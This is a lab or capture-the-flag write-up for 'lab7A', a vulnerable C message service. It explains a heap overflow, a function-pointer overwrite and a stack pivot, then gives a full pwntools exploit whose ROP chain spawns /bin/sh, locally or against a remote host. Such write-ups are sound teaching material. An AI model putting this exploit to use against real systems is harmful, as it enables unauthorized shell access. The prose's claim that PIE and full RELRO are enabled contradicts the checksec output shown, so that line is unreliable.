For this lab, we are given a program and its corresponding source code:

/* compiled with: gcc -static -z relro -z now -fstack-protector-all -o lab7A lab7A.c */

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <time.h>
#include "utils.h"

ENABLE_TIMEOUT(60)

#define MAX_MSG    10
#define MAX_BLOCKS 32
#define BLOCK_SIZE 4

struct msg {
    void (* print_msg)(struct msg *);
    unsigned int xor_pad[MAX_BLOCKS];
    unsigned int message[MAX_BLOCKS];
    unsigned int msg_len;
};

struct msg * messages[MAX_MSG];

/* apply one time pad */
void encdec_message(unsigned int * message, unsigned int * xor_pad)
{
    int i = 0;
    for(i = 0; i < MAX_BLOCKS; i++)
        message[i] ^= xor_pad[i];
}

/* print information about the given message */
void print_message(struct msg * to_print)
{
    unsigned int i = 0;
    char * xor_pad;
    char * message;

    xor_pad = (char *)&to_print->xor_pad;
    message = (char *)&to_print->message;

    /* print the message's xor pad */
    printf("\nXOR Pad: \n"
           "-----------------------------------------\n");

    for(i = 0; i < BLOCK_SIZE*MAX_BLOCKS; i++)
    {
        printf("%02x", xor_pad[i] & 0xFF);
        if(i % 32 == 31)
            puts("");
    }

    /* print encrypted message */
    printf("\nEncrypted Message: \n"
           "-----------------------------------------\n");

    for(i = 0; i < BLOCK_SIZE*MAX_BLOCKS; i++)
    {
        printf("%02x", message[i] & 0xFF);
        if(i % 32 == 31)
            puts("");
    }

    puts("");
}

/* creates a message */
int create_message()
{
    int i, j;
    struct msg * new_msg = NULL;

    /* find a free message slot */
    for(i = 0; i < MAX_MSG; i++)
        if(messages[i] == NULL)
            break;

    /* make sure we actually found an empty slot */
    if(messages[i])
    {
        printf("-No message slots left!\n");  
        return 1;
    }

    printf("-Using message slot #%u\n", i);   

    /* initialize new message */
    new_msg = malloc(sizeof(struct msg));
    memset(new_msg, 0, sizeof(struct msg));   
    new_msg->print_msg = &print_message;

    for(j = 0; j < MAX_BLOCKS; j++)
        new_msg->xor_pad[j] = rand();

    /* get the length of data the user intends to encrypt */
    printf("-Enter data length: ");

    new_msg->msg_len = get_unum();

    if(new_msg->msg_len == 0)
    {
        printf("-Message length must be greater than zero!\n");
        free(new_msg);
        return 1;
    }

    /* make sure the message length is no bigger than the xor pad */
    if((new_msg->msg_len / BLOCK_SIZE) > MAX_BLOCKS)
        new_msg->msg_len = BLOCK_SIZE * MAX_BLOCKS;

    /* read in the message to encrypt with the xor pad */
    printf("-Enter data to encrypt: ");
    read(0, &new_msg->message, new_msg->msg_len);

    /* encrypt message */
    encdec_message(new_msg->message, new_msg->xor_pad);

    /* save the new message to the global list */
    messages[i] = new_msg;

    return 0;
}

int edit_message()
{
    char numbuf[32];
    unsigned int i = 0;

    /* get message index to destroy */
    printf("-Input message index to edit: "); 
    fgets(numbuf, sizeof(numbuf), stdin);
    i = strtoul(numbuf, NULL, 10);

    if(i >= MAX_MSG || messages[i] == NULL)   
    {
        printf("-Invalid message index!\n");  
        return 1;
    }

    printf("-Input new message to encrypt: ");

    /* clear old message, and read in a new one */
    memset(&messages[i]->message, 0, BLOCK_SIZE * MAX_BLOCKS);
    read(0, &messages[i]->message, messages[i]->msg_len);

    /* encrypt message */
    encdec_message(messages[i]->message, messages[i]->xor_pad);

    return 0;
}

/* free a secure message */
int destroy_message()
{
    char numbuf[32];
    unsigned int i = 0;

    /* get message index to destroy */
    printf("-Input message index to destroy: ");
    fgets(numbuf, sizeof(numbuf), stdin);
    i = strtoul(numbuf, NULL, 10);

    if(i >= MAX_MSG || messages[i] == NULL)   
    {
        printf("-Invalid message index!\n");  
        return 1;
    }

    /* destroy message */
    memset(messages[i], 0, sizeof(struct msg));
    free(messages[i]);
    messages[i] = NULL;

    return 0;
}

/* print a message at a select index */
int print_index()
{
    char numbuf[32];
    unsigned int i = 0;

    /* get message index to print */
    printf("-Input message index to print: ");
    fgets(numbuf, sizeof(numbuf), stdin);
    i = strtoul(numbuf, NULL, 10);

    if(i >= MAX_MSG || messages[i] == NULL)   
    {
        printf("-Invalid message index!\n");  
        return 1;
    }

    /* print the message of interest */
    messages[i]->print_msg(messages[i]);

    return 0;
}

/* the vulnerability is in here */
void print_menu()
{
    printf("+---------------------------------------+\n"
           "|        Doom's OTP Service v1.0        |\n"
           "+---------------------------------------+\n"
           "|------------ Services Menu ------------|\n"
           "|---------------------------------------|\n"
           "| 1. Create secure message              |\n"
           "| 2. Edit secure message                |\n"
           "| 3. Destroy secure message             |\n"
           "| 4. Print message details              |\n"
           "| 5. Quit                               |\n"
           "+---------------------------------------+\n");
}

int main()
{
    int choice = 0;
    srand(time(NULL));
    disable_buffering(stdout);

    while(1)
    {
        print_menu();

        /* get menu option */
        printf("Enter Choice: ");
        choice = get_unum();

        printf("-----------------------------------------\n");

        /* handle menu selection */
        if(choice == 1)
        {
            if(create_message())
                printf("-Failed to create message!\n");
            else
                printf("-Message created successfully!\n");
        }
        else if(choice == 2)
        {
            if(edit_message())
                printf("-Failed to edit message!\n");
            else
                printf("-Message has been successfully modified!\n");
        }
        else if(choice == 3)
        {
            if(destroy_message())
                printf("-Failed to destroy message!\n");
            else
                printf("-Message destroyed!\n");
        }
        else if(choice == 4)
        {
            if(print_index())
                printf("-Failed to print message!\n");
        }
        else if(choice == 5)
        {
            break;  // exit
        }
        else
            printf("-Invalid choice!\n");

        choice = 0;
        puts("");
    }

    printf("See you tomorrow!\n");
    return EXIT_SUCCESS;
}

If we run checksec, we can see that NX, PIE and full RELRO are enabled.

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE

Unfortunately, this is a statically linked executable, so we cannot leverage the partial RELRO to perform a GOT overwrite.

$ file lab7A
lab7A: ELF 32-bit LSB  executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=b36434382916ba1173b79765eed040ad6d41c4bc, not stripped

However, the fact that this binary is not compiled with PIE tells us that we do not need an address leak to be able to find valid ROP gadgets from the binary.

Vulnerability

This program allows us to create messages which are subsequently xor’d with a randomly generated 32-byte one-time pad. We can edit these messages, destroy them, and print out their details.

The first vulnerability we can see is a heap overflow introduced in the following length check. For clarity, I’ve removed code that doesn’t concern us.

new_msg->msg_len = get_unum();

/* make sure the message length is no bigger than the xor pad */
if((new_msg->msg_len / BLOCK_SIZE) > MAX_BLOCKS)
		new_msg->msg_len = BLOCK_SIZE * MAX_BLOCKS;

/* read in the message to encrypt with the xor pad */
printf("-Enter data to encrypt: ");
read(0, &new_msg->message, new_msg->msg_len);

When a user attempts to create a message, the program asks the user to specify a message length. This length is then checked by dividing it by the global BLOCK_SIZE, which is 4, and comparing the result to the global MAX_BLOCKS which is 32. If the result is greater than 32, then the message length is automatically truncated to 128 bytes.

The final message length is then used to specify the number of bytes to read into the 128 byte unsigned int message[] buffer.

But what happens if we specify the message length to be a value between 128 and 132 bytes? For example, 131 bytes?

In the C programming language, the result is always floored for the division of positive integers. Therefore, if we specify 131 bytes, we will still pass the length check since 131/4 = 32.

This gives us a 3-byte overflow primitive!

And what comes after the unsigned int message[] buffer?

The message length!

struct msg {
    void (* print_msg)(struct msg *);
    unsigned int xor_pad[MAX_BLOCKS];
    unsigned int message[MAX_BLOCKS];
    unsigned int msg_len;
};

We can use this heap overflow primitive to overwrite our message’s own msg_len member and make it arbitrarily large up to 0xffffff.

We can subsequently use this newly overwritten length later in the edit_message() function to perform another heap overflow and corrupt any data after our initial heap chunk, including the print_msg() function pointer of the next chunk, allowing us to control EIP when we print out the message details of the 2nd chunk.

Here is what 2 allocated messages look like in the heap, before editing the 1st message. Notice the corrupted size of 0x414141 at 0x80f1af4.

gdb-peda$ x/200xw 0x80f19f0 
0x80f19f0:      0x08048fd3      0x3533af89      0x61d321ab      0x0b083d7c
0x80f1a00:      0x1d75527c      0x1a2f4272      0x1f39293d      0x59e6bd11
0x80f1a10:      0x0ec2e802      0x09d26e5d      0x78cc57f2      0x0de00461
0x80f1a20:      0x7a11f3b6      0x1f091eed      0x72c574d1      0x66deaad5
0x80f1a30:      0x54d00421      0x7fa2d710      0x7e5f193b      0x67057a3f
0x80f1a40:      0x220d0a03      0x0a958023      0x4d3a5fbf      0x1b9c3b04
0x80f1a50:      0x150236a1      0x57f3cd3a      0x3a0749a4      0x37160cd7
0x80f1a60:      0x0c0418c7      0x4b93806d      0x3119bc44      0x25c568e7
0x80f1a70:      0x00c72ff6      0x7472eec8      0x209260ea      0x4a497c3d
0x80f1a80:      0x5c34133d      0x5b6e0333      0x5e78687c      0x18a7fc50
0x80f1a90:      0x4f83a943      0x48932f1c      0x398d16b3      0x4ca14520
0x80f1aa0:      0x3b50b2f7      0x5e485fac      0x33843590      0x279feb94
0x80f1ab0:      0x15914560      0x3ee39651      0x3f1e587a      0x26443b7e
0x80f1ac0:      0x634c4b42      0x4bd4c162      0x0c7b1efe      0x5add7a45
0x80f1ad0:      0x544377e0      0x16b28c7b      0x7b4608e5      0x76574d96
0x80f1ae0:      0x4d455986      0x0ad2c12c      0x7058fd05      0x648429a6
0x80f1af0:      0x41866eb7      0x00414141      0x00000000      0x00000111
0x80f1b00:      0x08048fd3      0x12ecddef      0x30cda664      0x1e3c8272
0x80f1b10:      0x2d1c2061      0x5006cfa1      0x78233f83      0x3bdf0863
0x80f1b20:      0x59d93dff      0x70ef9775      0x49bf0cc4      0x53eb31b5
0x80f1b30:      0x0ff8b663      0x3c848195      0x3ac9dc8a      0x64c8ba84
0x80f1b40:      0x3c2758a5      0x3928f5c5      0x4bce34c4      0x5e3462a9
0x80f1b50:      0x43be75e8      0x19089483      0x79d09dad      0x58c0ac89
0x80f1b60:      0x70fc61be      0x33d7e751      0x0fd6b961      0x7d007a85
0x80f1b70:      0x7f6b67be      0x40f075a5      0x22c5e36c      0x003297b4
0x80f1b80:      0x53dd5394      0x12ecddde      0x30cda664      0x1e3c8272
0x80f1b90:      0x2d1c2061      0x5006cfa1      0x78233f83      0x3bdf0863
0x80f1ba0:      0x59d93dff      0x70ef9775      0x49bf0cc4      0x53eb31b5
0x80f1bb0:      0x0ff8b663      0x3c848195      0x3ac9dc8a      0x64c8ba84
0x80f1bc0:      0x3c2758a5      0x3928f5c5      0x4bce34c4      0x5e3462a9
0x80f1bd0:      0x43be75e8      0x19089483      0x79d09dad      0x58c0ac89
0x80f1be0:      0x70fc61be      0x33d7e751      0x0fd6b961      0x7d007a85
0x80f1bf0:      0x7f6b67be      0x40f075a5      0x22c5e36c      0x003297b4
0x80f1c00:      0x53dd5394      0x00000001      0x00000000      0x000203f9

And here is what the same chunks look like after we overflow our message data from the 1st chunk to the 2nd chunk using the 1st chunk’s corrupted size to replace its original message with 2000 B’s

gdb-peda$ x/200xw 0x80f19f0 
0x80f19f0:      0x08048fd3      0x3533af89      0x61d321ab      0x0b083d7c
0x80f1a00:      0x1d75527c      0x1a2f4272      0x1f39293d      0x59e6bd11
0x80f1a10:      0x0ec2e802      0x09d26e5d      0x78cc57f2      0x0de00461
0x80f1a20:      0x7a11f3b6      0x1f091eed      0x72c574d1      0x66deaad5
0x80f1a30:      0x54d00421      0x7fa2d710      0x7e5f193b      0x67057a3f
0x80f1a40:      0x220d0a03      0x0a958023      0x4d3a5fbf      0x1b9c3b04
0x80f1a50:      0x150236a1      0x57f3cd3a      0x3a0749a4      0x37160cd7
0x80f1a60:      0x0c0418c7      0x4b93806d      0x3119bc44      0x25c568e7
0x80f1a70:      0x00c72ff6      0x7771edcb      0x239163e9      0x494a7f3e
0x80f1a80:      0x5f37103e      0x586d0030      0x5d7b6b7f      0x1ba4ff53
0x80f1a90:      0x4c80aa40      0x4b902c1f      0x3a8e15b0      0x4fa24623
0x80f1aa0:      0x3853b1f4      0x5d4b5caf      0x30873693      0x249ce897
0x80f1ab0:      0x16924663      0x3de09552      0x3c1d5b79      0x2547387d
0x80f1ac0:      0x604f4841      0x48d7c261      0x0f781dfd      0x59de7946
0x80f1ad0:      0x574074e3      0x15b18f78      0x78450be6      0x75544e95
0x80f1ae0:      0x4e465a85      0x09d1c22f      0x735bfe06      0x67872aa5
0x80f1af0:      0x42856db4      0x42424242      0x42424242      0x42424242
0x80f1b00:      0x42424242      0x42424242      0x42424242      0x42424242
0x80f1b10:      0x42424242      0x42424242      0x42424242      0x42424242
0x80f1b20:      0x42424242      0x42424242      0x42424242      0x42424242
0x80f1b30:      0x42424242      0x42424242      0x42424242      0x42424242
0x80f1b40:      0x42424242      0x42424242      0x42424242      0x42424242
0x80f1b50:      0x42424242      0x42424242      0x42424242      0x42424242
0x80f1b60:      0x42424242      0x42424242      0x42424242      0x42424242
0x80f1b70:      0x42424242      0x42424242      0x42424242      0x42424242
0x80f1b80:      0x42424242      0x42424242      0x42424242      0x42424242
0x80f1b90:      0x42424242      0x42424242      0x42424242      0x42424242
0x80f1ba0:      0x42424242      0x42424242      0x42424242      0x42424242
0x80f1bb0:      0x42424242      0x42424242      0x42424242      0x42424242
0x80f1bc0:      0x42424242      0x42424242      0x42424242      0x42424242
0x80f1bd0:      0x42424242      0x42424242      0x42424242      0x42424242
0x80f1be0:      0x42424242      0x42424242      0x42424242      0x42424242
0x80f1bf0:      0x42424242      0x42424242      0x42424242      0x42424242
0x80f1c00:      0x42424242      0x42424242      0x42424242      0x42424242

Usually at this point we would replace the print_msg() function pointer of the 2nd chunk with a pointer to system(), but that will not work in this case, since we also need “/bin/sh” to be passed in as the argument, and messages[i]->print_msg(messages[i]); uses a function pointer on the stack that we can’t control as its argument to pass into the function pointer.

Additionally, this binary is statically compiled and system() does not exist in it.

gdb-peda$ p system
No symbol table is loaded.  Use the "file" command.

Therefore, we need to generate a shell by using ROP. This is where things get interesting.

Stack Pivot/ROP

I found getting from control of EIP to spawning a shell to be the most challenge part of this lab.

When we have control of EIP, this is what our context looks like:

gdb-peda$ context
[----------------------------------registers-----------------------------------]
EAX: 0x42424242 ('BBBB')
EBX: 0x80481a8 (<_init>:        push   ebx)
ECX: 0xffffd42d --> 0x4008000a
EDX: 0x80f1b00 ('B' <repeats 200 times>...)
ESI: 0x0
EDI: 0x80ecfbc --> 0x8069190 (<__stpcpy_sse2>:  mov    edx,DWORD PTR [esp+0x4])
EBP: 0xffffd458 --> 0xffffd488 --> 0x8049e70 (<__libc_csu_fini>:        push   ebx)
ESP: 0xffffd410 --> 0x80f1b00 ('B' <repeats 200 times>...)
EIP: 0x804951f (<print_index+158>:      call   eax)
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8049512 <print_index+145>: mov    edx,DWORD PTR [ebp-0x30]
   0x8049515 <print_index+148>: mov    edx,DWORD PTR [edx*4+0x80eef60]
   0x804951c <print_index+155>: mov    DWORD PTR [esp],edx
=> 0x804951f <print_index+158>: call   eax
   0x8049521 <print_index+160>: mov    eax,0x0
   0x8049526 <print_index+165>: mov    ecx,DWORD PTR [ebp-0xc]
   0x8049529 <print_index+168>: xor    ecx,DWORD PTR gs:0x14
   0x8049530 <print_index+175>: je     0x8049537 <print_index+182>
Guessed arguments:
arg[0]: 0x80f1b00 ('B' <repeats 200 times>...)
[------------------------------------stack-------------------------------------]
0000| 0xffffd410 --> 0x80f1b00 ('B' <repeats 200 times>...)
0004| 0xffffd414 --> 0x0
0008| 0xffffd418 --> 0xa ('\n')
0012| 0xffffd41c --> 0x80ed240 --> 0xfbad2887
0016| 0xffffd420 --> 0x80ed240 --> 0xfbad2887
0020| 0xffffd424 --> 0x29 (')')
0024| 0xffffd428 --> 0x1
0028| 0xffffd42c --> 0x8000a31
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

At first glance, it doesn’t seem like we control any data on the stack. So, in order to ROP, we need to do a stack pivot to the heap, which is where we control data. There we can place our ROP chain gadgets to spawn a shell.

Unfortunately, I could not find any gadgets to successfully do this. Especially since we can only use 1 gadget to pivot to the heap. We would also ideally need to pivot to an address around 0x80f1b00, but not to 0x80f1b00 itself, since that is where our initial stack pivot gadget will be, especially if our pivot involves an xchg.

After some help, I realized that we actually can control some data on the stack, through another vulnerability.

When we print out a message, the programs asks us to specify the index for the message we’d like to print. However, the code block responsible for checking this user provided input is vulnerable.

char numbuf[32];
unsigned int i = 0;

/* get message index to print */
printf("-Input message index to print: ");
fgets(numbuf, sizeof(numbuf), stdin);
i = strtoul(numbuf, NULL, 10);

if(i >= MAX_MSG || messages[i] == NULL)
{
		printf("-Invalid message index!\n");
		return 1;
}

Notice how the program first calls fgets() to copy the user provided message index to the 32 byte char numbuf[] buffer.

strtoul() is then called on the string stored inside the numbuf[] buffer to convert it to an int. The resulting int is then compared to MAX_MSG to determine whether or not is is a valid message index. However, strtoul()’s default behavior allows extra data to be stored after an integer.

For example, calling strtoul("1CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC", NULL, 10); will still return 1!

This allows us to pass the message index check while at the same time, placing values that we control onto the stack.

gdb-peda$ telescope $esp 20
0000| 0xffffdc40 --> 0x80f1b00 ('B' <repeats 200 times>...)
0004| 0xffffdc44 --> 0x0 
0008| 0xffffdc48 --> 0xa ('\n')
0012| 0xffffdc4c --> 0x80ed240 --> 0xfbad2887 
0016| 0xffffdc50 --> 0x80ed240 --> 0xfbad2887 
0020| 0xffffdc54 --> 0x29 (')')
0024| 0xffffdc58 --> 0x1 
0028| 0xffffdc5c ("1", 'C' <repeats 30 times>)
0032| 0xffffdc60 ('C' <repeats 27 times>)
0036| 0xffffdc64 ('C' <repeats 23 times>)
0040| 0xffffdc68 ('C' <repeats 19 times>)
0044| 0xffffdc6c ('C' <repeats 15 times>)
0048| 0xffffdc70 ('C' <repeats 11 times>)
0052| 0xffffdc74 ("CCCCCCC")
0056| 0xffffdc78 --> 0x434343 ('CCC')

Being able to write extra data on the stack affords us multiple gadgets we can now use to set up our stack pivot, instead of limiting us to only 1 gadget.

From there, it is a simple matter of generating the right gadgets and determining the right offsets within our user input to place them at.

Putting everything together, the following exploit will grant us a shell.

Solution

#!/usr/bin/env python

from pwn import *
import sys
from struct import pack

def rop_chain():
  p = ''
  p += pack('<I', 0x0807030a) # pop edx ; ret
  p += pack('<I', 0x080ed000) # @ .data   
  p += pack('<I', 0x080bd226) # pop eax ; ret
  p += '/bin'
  p += pack('<I', 0x080a3a1d) # mov dword ptr [edx], eax ; ret
  p += pack('<I', 0x0807030a) # pop edx ; ret
  p += pack('<I', 0x080ed004) # @ .data + 4
  p += pack('<I', 0x080bd226) # pop eax ; ret
  p += '//sh'
  p += pack('<I', 0x080a3a1d) # mov dword ptr [edx], eax ; ret
  p += pack('<I', 0x0807030a) # pop edx ; ret
  p += pack('<I', 0x080ed008) # @ .data + 8
  p += pack('<I', 0x08055b40) # xor eax, eax ; ret
  p += pack('<I', 0x080a3a1d) # mov dword ptr [edx], eax ; ret
  p += pack('<I', 0x080481c9) # pop ebx ; ret
  p += pack('<I', 0x080ed000) # @ .data   
  p += pack('<I', 0x080e76ad) # pop ecx ; ret
  p += pack('<I', 0x080ed008) # @ .data + 8
  p += pack('<I', 0x0807030a) # pop edx ; ret
  p += pack('<I', 0x080ed008) # @ .data + 8
  p += pack('<I', 0x08055b40) # xor eax, eax ; ret
  p += pack('<I', 0x0807cd76) # inc eax ; ret
  p += pack('<I', 0x0807cd76) # inc eax ; ret
  p += pack('<I', 0x0807cd76) # inc eax ; ret
  p += pack('<I', 0x0807cd76) # inc eax ; ret
  p += pack('<I', 0x0807cd76) # inc eax ; ret
  p += pack('<I', 0x0807cd76) # inc eax ; ret
  p += pack('<I', 0x0807cd76) # inc eax ; ret
  p += pack('<I', 0x0807cd76) # inc eax ; ret
  p += pack('<I', 0x0807cd76) # inc eax ; ret
  p += pack('<I', 0x0807cd76) # inc eax ; ret
  p += pack('<I', 0x0807cd76) # inc eax ; ret
  p += pack('<I', 0x08048ef6) # int 0x80
  return p

def exploit(r):
  r.recvuntil("Choice: ")  
  
  # heap chunk 1
  r.sendline("1")
  r.recvuntil(": ")
  r.sendline("131") 
  r.recvuntil(": ")
  r.sendline("A"*131) 
  r.recvuntil("Choice: ")
  
  # heap chunk 2
  r.sendline("1")
  r.recvuntil(": ")
  r.sendline("1")
  r.recvuntil(": ")
  r.sendline("1")
  r.recvuntil("Choice: ")

  # edit heap chunk 1
  r.sendline("2")
  r.recvuntil(": ")
  r.sendline("0")
  r.recvuntil(": ")
 
  payload_1  = 'A'*140
  payload_1 += p32(0x080b29c1) # GADGET 1 # dec ebp ; add esp, 0x24 ; mov eax, edx ; pop ebx ; pop esi ; ret   
  payload_1 += 'AAAA'          # filler
  payload_1 += rop_chain()
  
  r.sendline(payload_1) # trigger overflow!
  r.recvuntil("Choice: ")

  # print heap chunk 2
  r.sendline("4")
  r.recvuntil(": ")
  
  payload_2  = '1'+'A'*7
  payload_2 += p32(0x080ec008) # static address popped into esi
  payload_2 += p32(0x08097ce3) # GADGET 2 # add eax, 8 ; pop edi ; ret
  payload_2 += "AAAA"          # filler
  payload_2 += p32(0x080e2e52) # GADGET 3 # xchg eax, esp ; or cl, byte ptr [esi] ; adc al, 0x41 ; ret
  payload_2 += 'A'*(31-24)     # filler 

  r.sendline(payload_2)
  
  r.success('Enjoy your shell...')  
  r.interactive()
if __name__ == "__main__":
  log.info("For remote: %s HOST PORT" % sys.argv[0])
  if len(sys.argv) > 1:
    r = remote(sys.argv[1], int(sys.argv[2]))
    exploit(r)
  else:
    r = process(['./lab7A'])
    print util.proc.pidof(r)
    pause()
    exploit(r)

NOTE: After solving this challenge, someone pointed out to me that I could’ve solved it using 2 gadgets instead of 3 gadgets. GADGET 2 is actually not needed. Had I replaced GADGET 2 with GADGET 3, I would’ve returned to GADGET 1, but that is OK, because GADGET 1 moves up the stack anyway, placing us in a good position to begin our ROP chain.